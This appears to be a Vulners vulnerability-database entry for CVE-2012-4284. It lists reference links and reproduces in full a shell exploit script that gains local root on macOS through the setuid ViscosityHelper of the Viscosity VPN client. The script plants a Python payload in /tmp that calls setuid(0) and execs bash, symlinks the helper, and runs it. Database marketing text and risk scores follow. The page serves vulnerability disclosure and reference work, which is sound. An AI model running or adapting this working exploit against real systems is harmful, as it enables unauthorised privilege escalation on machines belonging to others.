Viscosity - Local Privilege Escalation
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Viscosity setuid-set ViscosityHelper Privilege Escalation Vulnerability | 5 Mar 201300:00 | – | zdt | |
| CVE-2012-4284 | 5 Mar 201300:00 | – | circl | |
| CVE-2012-4284 | 10 Jan 202019:09 | – | cve | |
| CVE-2012-4284 | 10 Jan 202019:09 | – | cvelist | |
| DSquare Exploit Pack: D2SEC_VISCOSITY | 10 Jan 202020:15 | – | d2 | |
| Viscosity - setuid-set ViscosityHelper Privilege Escalation (Metasploit) | 5 Mar 201300:00 | – | exploitdb | |
| Viscosity ViscosityHelper Symlink Attack Local Privilege Escalation | 27 Mar 201300:00 | – | nessus | |
| Viscosity setuid-set ViscosityHelper Privilege Escalation | 3 Mar 201312:23 | – | metasploit | |
| CVE-2012-4284 | 10 Jan 202020:15 | – | nvd | |
| Viscosity setuid-set ViscosityHelper Privilege Escalation | 5 Mar 201300:00 | – | packetstorm |
10
#!/bin/sh
#
##########################
# Viscatory #
# #
# zx2c4 #
##########################
#
# After the hullabaloo from the Tunnelblick local root, savy Mac users
# began defending Viscosity, another OS X VPN client. They figured, since
# they spent money on Viscosity, surely it would be better designed than
# the free open-source alternative.
#
# Unfortunately, this exploit took all of 2 minutes to find. DTrace for
# the win. Here, the SUID helper will execute site.py in its enclosing
# folder. A simple symlink, and we have root.
#
# greets to jono
#
# Source: http://git.zx2c4.com/Viscatory/tree/viscatory.sh
echo "[+] Crafting payload."
mkdir -p -v /tmp/pwn
cat > /tmp/pwn/site.py <<_EOF
import os
print "[+] Cleaning up."
os.system("rm -rvf /tmp/pwn")
print "[+] Getting root."
os.setuid(0)
os.setgid(0)
os.execl("/bin/bash", "bash")
_EOF
echo "[+] Making symlink."
ln -s -f -v /Applications/Viscosity.app/Contents/Resources/ViscosityHelper /tmp/pwn/root
echo "[+] Running vulnerable SUID helper."
exec /tmp/pwn/rootData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Oct 2016 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 3.19.8
CVSS 210
EPSS0.69523